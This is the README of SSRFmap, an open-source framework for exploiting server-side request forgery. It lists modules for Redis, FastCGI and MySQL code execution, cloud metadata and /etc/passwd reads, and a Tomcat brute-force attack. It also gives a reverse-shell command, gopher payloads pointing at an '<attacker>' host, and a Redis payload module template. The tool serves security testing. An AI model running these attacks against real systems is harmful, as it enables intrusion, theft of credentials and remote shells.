SSRFmap

SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Summary

• Modules
• Install and Manual
• Examples
• SSRFmap - Tests
• Contribute
  • Contributors

Modules

The following modules are already implemented and can be used with the -m argument.

Name	Description
axfr	DNS zone transfers (AXFR)
fastcgi	FastCGI RCE
redis	Redis RCE
github	Github Enterprise RCE < 2.8.7
zabbix	Zabbix RCE
mysql	MySQL Command execution
postgres	Postgres Command execution
docker	Docker Infoleaks via API
smtp	SMTP send mail
portscan	Scan top 8000 ports for the host
networkscan	HTTP Ping sweep over the network
readfiles	Read files such as /etc/passwd
alibaba	Read files from the provider (e.g: meta-data, user-data)
aws	Read files from the provider (e.g: meta-data, user-data)
gce	Read files from the provider (e.g: meta-data, user-data)
digitalocean	Read files from the provider (e.g: meta-data, user-data)
socksproxy	SOCKS4 Proxy
smbhash	Force an SMB authentication via a UNC Path
tomcat	Bruteforce attack against Tomcat Manager
custom	Send custom data to a listening service, e.g: netcat
memcache	Store data inside the memcache instance

Install and Manual

• From the Github repository.

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ cd SSRFmap/
  $ pip3 install -r requirements.txt
  $ python3 ssrfmap.py
  
    usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                      [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                      [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
  
    optional arguments:
      -h, --help          show this help message and exit
      -r REQFILE          SSRF Request file
      -p PARAM            SSRF Parameter to target
      -m MODULES          SSRF Modules to enable
      -l HANDLER          Start an handler for a reverse shell
      -v [VERBOSE]        Enable verbosity
      --lhost LHOST       LHOST reverse shell or IP to target in the network
      --lport LPORT       LPORT reverse shell or port to target in the network
      --uagent USERAGENT  User Agent to use
      --ssl [SSL]         Use HTTPS without verification
      --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
      --level [LEVEL]     Level of test to perform (1-5, default: 1)
  

• Docker

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ docker build --no-cache -t ssrfmap .
  $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
  $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
  

Examples

First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. They should look like the following. More examples are available in the ./examples folder.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Use the -m followed by module name (separated by a , if you want to launch several modules).

# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

If you want to inject inside a header, a GET or a POST parameter, you only need to specify the parameter name

python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

If you need to have a custom user-agent use the --uagent. Some targets will use HTTPS, you can enable it with --ssl.

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.

# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

When the target is protected by a WAF or some filters you can try a wide range of payloads and encoding with the parameter --level.

# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap Tests

A quick way to test the framework can be done with data/example.py SSRF service.

• Local

  FLASK_APP=examples/example.py flask run &
  python ssrfmap.py -r examples/request.txt -p url -m readfiles
  

• Docker

  docker build --no-cache -t ssrfmap .
  
  # run example ssrf http service
  docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py
  
  # run example ssrf dns service
  docker exec -u root:root -it example python examples/ssrf_dns.py
  
  # run ssrfmap tool
  docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
  

Launch the tests requests:

docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

Contribute

I ❤️ pull requests :) Feel free to add any feature listed below or a new service.

• Redis PHP Exploitation
• HTTP module (Jenkins ?)

gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

The following code is a template if you wish to add a module interacting with a service.

from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

You can also contribute with a beer IRL or via Github Sponsor button.

Thanks to the contributors

Inspired by

• How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai
• Blog on Gopherus Tool -SpyD3r
• Gopherus - Github
• SSRF testing - cujanovic